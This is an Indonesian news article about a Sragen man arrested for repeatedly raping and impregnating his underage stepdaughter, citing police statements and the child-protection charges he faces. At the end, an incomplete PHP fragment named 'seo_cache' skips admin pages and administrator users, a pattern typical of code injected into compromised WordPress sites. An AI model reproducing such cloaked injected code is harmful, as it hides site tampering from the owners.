Kriminal

Tiduri Anak Tiri hingga Hamil Warga Sragen Terancam Hukuman Berat

×

Tiduri Anak Tiri hingga Hamil Warga Sragen Terancam Hukuman Berat

Sebarkan artikel ini

SRAGEN, MENARASUMBA.COM – Seorang warga Sragen, Jawa Tengah berinisial A (38) ditangkap polisi pada 24 Juni 2025 lalu.

Ia digelandang ke Mapolres Sragen karena menghamili anak tirinya yang kini sudah mengandung 7 bulan.

Menurut penjelasan Kapolres Sragen, AKBP Petrus Parningotan Silalahi, pelaku memperkosa anak tirinya sejak November 2024 lalu.

“Total ada 19 kali hubungan yang dilakukan ayah tiri ke anaknya yang masih di bawah umur itu,” ujar Petrus.

Pemerkosaan selama bulan November 2024 dilakukan sebanyak empat kali.

Sementara pada bulan Februari 2025 sebanyak dua kali, bulan Maret 2025 tiga kali, bulan April 2025 satu kali dan bulan Mei 2025 sebanyak satu kali.

Perbuatan itu dilakukan dalam kamar pelaku karena korban tinggal serumah bersama ibu kandungnya dan sang ayah tiri.

“Pelaku mengaku nekad karena tergiur dan terangsang dengan korban,” ungkapnya.

Atas perbuatan bejadnya A dikenakan ancaman hukuman dengan pasal berlapis.

Ia dijerat Pasal 81 ayat (3) atau Pasal 82 ayat (2) Undang-Undang Perlindungan Anak (yang telah diubah), serta Pasal 64 ayat (1) KUHP, dimana ancaman hukuman yang semula 15 tahun penjara diperberat jadi 20 tahun penjara.

“Jika perbuatan dilakukan secara berlanjut, pelaku kejahatan seksual terhadap anak dapat menghadapi ancaman hukuman pidana penjara paling singkat 5 tahun dan paling lama 15 tahun, serta denda paling banyak 5 miliar.

Karena pelaku merupakan ayah tiri yang bertindak sebagai wali atau pengasuh korban, maka hukuman pidana ditambah dengan sepertiga sehingga minimum 6 tahun, 8 bulan dan maksimum 20 tahun seperti tercantum di pasal 82 ayat (2).

“Pelaku melancarkan aksi bejadnya dengan tipu muslihat, membujuk dan merayu korban,” tandas Kapolres. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>